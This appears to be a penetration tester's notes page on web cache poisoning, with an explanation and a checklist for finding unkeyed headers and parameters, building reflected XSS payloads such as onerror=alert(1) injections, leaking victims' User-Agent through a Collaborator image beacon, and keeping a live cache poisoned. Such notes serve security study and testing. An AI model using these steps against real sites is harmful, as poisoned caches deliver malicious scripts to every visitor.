> For the complete documentation index, see [llms.txt](https://michel-disbergen.gitbook.io/hack-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://michel-disbergen.gitbook.io/hack-notes/web-pentesting/_vulnerabilities/web-cache-poisoning.md).

# Web cache poisoning

Web cache poisoning is an attack where you trick a cache (like a CDN or reverse proxy) into storing a malicious version of a page. A cache saves copies of pages to serve them quickly, and it decides which copy to give you by looking at certain parts of your request - but it ignores others, like some headers. The attack works when the server still uses one of those ignored headers to build the page. So an attacker sends a request with a harmful value in that header: the server bakes it into the response, the cache saves that bad copy, and then serves it to everyone who visits the page—because the cache thinks all those requests are the same. This way a single crafted request can poison the page for many users, delivering things like malicious scripts or redirects, and it keeps happening until the cache is cleared.

<figure><img src="/files/ZakJ1L9bRPCvW95HS8X5" alt=""><figcaption></figcaption></figure>

***

**REFERENCE:**

* <https://portswigger.net/web-security/web-cache-poisoning>

## Web Cache Poisoning - Checklist

### 1. Detecting a Cache

* [ ] Look for cache indicators in responses: `X-Cache: hit/miss`, `Age`, `Cache-Control`
* [ ] Send the same request twice - if `X-Cache` flips from `miss` to `hit`, the response is cached
* [ ] Are there any custom JavaScript files that are being cached as well? (e.g. `/resources/js/tracking.js`, `/js/geolocate.js?callback=setCountryCookie`)
* [ ] Note the `Vary` header - if present (e.g. `Vary: User-Agent`) > the cache will store different responses for different browsers. If `Vary: User-Agent` is present

### 2. Setting Up Cache Busters

* [ ] **Query param** -> add a unique param (e.g. `/?cb=123`) and confirm it returns `X-Cache: miss`
* [ ] **Origin header** -> add `Origin: https://random123.com` (often unkeyed, forces a cache miss)
* [ ] **Via header** -> add `Via: random123` (same idea - unkeyed by most caches)
* [ ] **Param Miner** can auto-add cache busters for you (enabled by default)
  * [ ] If one method doesn't work (query string is excluded from the key), try the others
  * [ ] Always test with a cache buster first so you don't accidentally poison the live page

### 3. Identifying Unkeyed Inputs

Right-click request -> **Extensions -> Param Miner -> Guess params** ->

* [ ] **Guess headers** (finds e.g. `X-Forwarded-Host`, `X-Host`)
* [ ] **Guess cookie parameters** (finds e.g. `fehost`)
* [ ] **Guess GET parameters** (finds e.g. `utm_content`)

> TODO = CHECK - \[ ] **Param cloaking** (finds if unkeyed params can override keyed ones with `;`)

View results -> **Extensions -> Installed -> Param Miner -> Output**

Additionally, check manually:

* [ ] **Query string excluded from key** -> send `/?random=test`, remove cache buster, check if `/` serves the same cached response
* [ ] **Duplicate Host header** -> add a second `Host:` header, check if it's accepted
* [ ] For every finding: confirm the unkeyed value is **reflected** somewhere in the response

### 4. Analysing the Reflection

* [ ] Identify **where** the value lands: `<script src="...">`, JS object, HTML attribute, HTML body
* [ ] Identify **what characters** are allowed (test `"`, `'`, `<`, `>`, `/`)
* [ ] Check if output is encoded/escaped or reflected raw

### 5. Building the Payload

* [ ] Match the payload to the reflection context:
  * **Script src** -> `"></script><img src=x onerror=alert(1)>`
  * **JS/JSON object** -> `"}</script><img src=x onerror=alert(1)>`
  * **HTML attribute** -> `'/><img src=x onerror=alert(1)>`
* [ ] If `Vary: User-Agent` -> leak the victims UA first (post `<img src=COLLABORATOR>` in comments), then replay with that UA
* [ ] If unkeyed param like `utm_content` exists -> try **parameter cloaking** with `;` to override keyed params (e.g. `&utm_content=x;callback=alert(1)`)

### 6. Poisoning the Cache

* [ ] Remove all cache busters (`Origin`, `Via`, extra query params)
* [ ] Send the crafted request repeatedly until `X-Cache: hit`
* [ ] Verify by opening the page in **private/incognito** without any extra headers
* [ ] If the cache has a short TTL, keep resending to maintain the poisoned state
